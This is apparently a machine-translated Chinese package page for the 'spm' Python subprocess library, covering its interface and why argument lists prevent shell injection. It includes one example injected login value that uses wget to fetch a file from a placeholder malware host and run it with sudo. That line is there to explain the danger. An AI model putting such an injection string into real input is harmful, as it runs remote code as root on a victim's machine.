subprocess manager提供了一个简单的编程接口,可以安全地运行、管道化和重定向子流程的输出。

spm的Python项目详细描述


>>>importspm>>>spm.run('echo','-n','hello world').stdout.read()'hello world'>>>importfunctools>>>git=functools.partial(spm.run,'git')>>>git('status','-z').stdout.read().split(b'\x00')[' M spm.py','']

这在python标准库的基础上提供了一个非常薄的kiss层 subprocess模块。这个库支持Python2和Python3。

这使得管道子流程和管道子流程输入/输出变得容易 文件。

它只有四条规则:

  • 简单的编程接口
  • 不要重装轮子。(它尝试使用subprocess标准 尽可能多的模块)
  • 它只会做一件事,试着把它做好。
  • 使用参数列表而不是一个命令字符串。

安全子流程调用

对于那些不懂最后一条规则的人。有两种方法 在python中调用子进程:一个方法是不安全的,另一个是 安全。

importsubprocess# Insecure subprocess invocationsubprocess.check_call("echo foo",shell=True)# Secure subprocess invocationsubprocess.check_call(['echo','foo'])

第二个是安全的,因为它可以防止shell代码注入。如果我们结束 简化,第一种方法,可以这样实现:

definsecure_check_call(command_line):"""
    Same as check_call(shell=True)
    """# Runs /bin/bash -c "the given command line"subprocess.check_call(['/bin/bash','-c',command_line])

我们以下面的代码为例:

importsubprocess# Get insecure and unchecked data from a userfromsomewhereimportget_login_from_user()defcreate_user():cmd="sudo useradd '{}'".format(get_login_from_user())subprocess.check_call(cmd)

如果用户输入登录名,则可以插入代码 ' || wget http://malware.example.com/malware-O /tmp && sudo /tmp/malware。 因为这将执行: sudo user '' || wget [...]-O /tmp && sudo /tmp/malware

为什么是另一个图书馆?

XKCD Comic strip: "How Standards Profilef

这里是现有的库:

  • sh:做很多事。管道命令的编程接口是 复杂而糟糕。
  • execute:旧的,容易被外壳注射。

还有许多是未维护或更糟的。

你说吻是什么意思?

吻失去了原来的感觉。现在它只是一个时髦的词,意思是 使用我的图书馆,因为它很酷。

在这里我指的是吻的本意:保持简单和愚蠢。

  • 简单:这个库是一个少于500行的文件(不包括测试)
  • 愚蠢:这个库有两个函数:pipe()run()

欢迎加入QQ群-->: 979659372 Python中文网_新手群

推荐PyPI第三方库


热门话题
tomcat java。lang.NoClassDefFoundError:无法初始化类com。太阳代理$Proxy8   java Spring引导CommandLineRunner异常处理建议   java文件。getParentFile()。mkdirs();在osx中创建重复文件夹   java Lucene IndexWriter线程安全   HashMapJava加速了哈希映射的创建   java执行器服务从Servlet线程启动   guava在Java中创建异构列表   泛型Java将比较器传递给构造函数   在Java中生成公钥和私钥的加密会生成类似的所有密钥,包括私钥和公钥   java ResourceLocation抛出FileNotFoundException Minecraft Forge 1.12.2   java使用动态键序列化JSON响应   在空映射上调用方法时发生java NullPointerException   java在Selenium中选择不同行中的按钮   优化在Java中,降低时间和空间复杂性的最佳方法是什么?   java表。setValueAt(…)不为JTable工作   javajsonrpc与JSON   ant从java编译中排除类的特定方法